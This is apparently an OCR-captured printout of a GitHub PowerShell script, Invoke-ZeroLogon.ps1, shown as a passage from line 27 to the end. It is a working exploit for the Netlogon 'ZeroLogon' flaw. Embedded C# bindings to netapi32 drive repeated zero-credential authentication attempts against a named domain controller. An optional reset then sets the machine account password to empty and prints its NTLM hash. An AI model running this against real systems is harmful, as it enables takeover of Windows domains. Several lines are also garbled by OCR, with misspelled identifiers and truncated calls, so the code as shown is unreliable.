

```
27
       .Parameter Reset
28
       Boolean used to determine if the script should attempt to reset the target computer's password
29
30
       #>
31
       [CmdletBinding()]
       Param(
32
           [Parameter(Position = 1, Mandatory = $true)]
33
34
           [string]
           $fqdn,
35
36
           [Parameter(Position = 2)]
37
38
           [boolean]
           $Reset
39
40
        )
41
           $zerologon = @"
42
43
           using System;
44
           using System.Runtime.InteropServices;
45
46
           namespace ZeroLogon
47
           {
                public class Netapi32
48
49
50
                    public enum NETLOGON_SECURE_CHANNEL_TYPE : int
51
                        NullSecureChannel = 0,
52
53
                        MsvApSecureChannel = 1,
54
                        WorkstationSecureChannel = 2,
                        TrustedDnsDomainSecureChannel = 3,
55
                        TrustedDomainSecureChannel = 4,
56
                        UasServerSecureChannel = 5,
57
                        ServerSecureChannel = 6
58
                    }
59
60
                    [StructLayout(LayoutKind.Explicit, Size = 516)]
61
                    public struct NL_TRUST_PASSWORD
62
63
                        [FieldOffset(0)]
64
65
                        public ushort Buffer;
66
                        [FieldOffset(512)]
67
                        public uint Length;
68
69
                    }
70
71
                    [StructLayout(LayoutKind.Explicit, Size = 12)]
72
                    public struct NETLOGON AUTHENTICATOR
```

```
73
                     {
 74
                         [FieldOffset(0)]
 75
                         public NETLOGON_CREDENTIAL Credential;
76
                         [FieldOffset(8)]
 77
 78
                         public uint Timestamp;
 79
                     }
 80
 81
                     [StructLayout(LayoutKind.Sequential)]
 82
                     public struct NETLOGON_CREDENTIAL
 83
                         public sbyte data;
 84
 85
                     }
 86
                     [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
                     public static extern int I_NetServerReqChallenge(
 88
 89
                         string PrimaryName,
 90
                         string ComputerName,
 91
                         ref NETLOGON_CREDENTIAL ClientChallenge,
 92
                         ref NETLOGON_CREDENTIAL ServerChallenge
 93
                         );
 94
 95
                     [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
 96
                     public static extern int I NetServerAuthenticate2(
 97
                         string PrimaryName,
98
                         string AccountName,
                         NETLOGON_SECURE_CHANNEL_TYPE AccountType,
99
100
                         string ComputerName,
101
                         ref NETLOGON_CREDENTIAL ClientCredential,
102
                         ref NETLOGON CREDENTIAL ServerCredential,
                         ref ulong NegotiateFlags
103
                         );
104
105
                     [DllImport("netapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = Cha
106
                     public static extern int I NetServerPasswordSet2(
107
108
                         string PrimaryName,
109
                         string AccountName,
                         NETLOGON_SECURE_CHANNEL_TYPE AccountType,
110
                         string ComputerName,
111
112
                         ref NETLOGON_AUTHENTICATOR Authenticator,
113
                         out NETLOGON_AUTHENTICATOR ReturnAuthenticator,
                         ref NL_TRUST_PASSWORD ClearNewPassword
114
115
                         );
116
                }
117
112
                 nuhlic class Kernel32
```

```
public class Refficise
___
119
                {
                     [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
120
121
                     public static extern IntPtr LoadLibrary(string lpFileName);
122
                     [DllImport("kernel32.dll", SetLastError = true)]
123
                     public static extern bool VirtualProtect(
124
125
                        IntPtr lpAddress,
126
                        uint dwSize,
                        uint flNewProtect,
127
128
                        out uint lpfl0ldProtect
129
                     );
130
131
                     [DllImport("kernel32.dll")]
132
                     public static extern bool ReadProcessMemory(IntPtr hProcess, long lpBaseAddress, byte[]
133
134
                     public struct MODULEINFO
135
136
                         public IntPtr lpBaseOfDll;
137
                         public uint SizeOfImage;
                         public IntPtr EntryPoint;
138
139
                     }
140
                     [DllImport("kernel32.dll", SetLastError = true)]
141
                     public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint
142
143
                     [DllImport("psapi.dll", SetLastError = true)]
144
                     public static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MOD
                }
145
146
            }
        "@;
147
148
149
150
            Add-Type $zerologon
151
            $hostname = $fqdn.split(".")[0]
152
153
154
            $ClientChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL
            $ServerChallenge = New-Object ZeroLogon.Netapi32+NETLOGON CREDENTIAL
155
            [Uint64]$Flags = [Uint64]0x212fffff
156
157
            for( $i = 0; $i - lt 2000; $i ++){
158
159
                if([ZeroLogon.Netapi32]::I_NetServerReqChallenge($fqdn, $hostname, [Ref] $ClientChallenge,
                     Write-Host "Can't complete server challenge. check FQDN"
160
161
                     return;
162
                write-host "=" -NoNewline
163
```

Invoke-ZeroLogon/Invoke-ZeroLogon.ps1 at 111d17c7fec486d9bb23387e2e828b09a26075e4 · BC-SECURITY/Invoke-ZeroLogon · GitHub · 31/10/2024 17:23 https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1

```
lt([ZeroLogon.Netapl32]::1_NetServerAutnent1cate2($tqqn, $nostname+"$",[ZeroLogon.Netapl324
164
                     Write-Host "`nServer is vulnerable";
165
166
167
                     $authenticator = New-Object ZeroLogon.Netapi32+NETLOGON_AUTHENTICATOR;
                     $EmptyPassword = New-Object ZeroLogon.Netapi32+NL_TRUST_PASSWORD;
168
                     if ($reset){
169
170
                         if([ZeroLogon.Netapi32]::I_NetServerPasswordSet2($fqdn, $hostname+"$", [ZeroLogon.Netapi32]
171
172
                             Write-Host "password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0";
173
                             return;
174
                         write-Host "Failed to reset password"
175
176
                         return;
177
                     }
178
179
                     return;
180
                }
181
182
            Write-Host "Host appears to be patched";
183
184
185
        }
```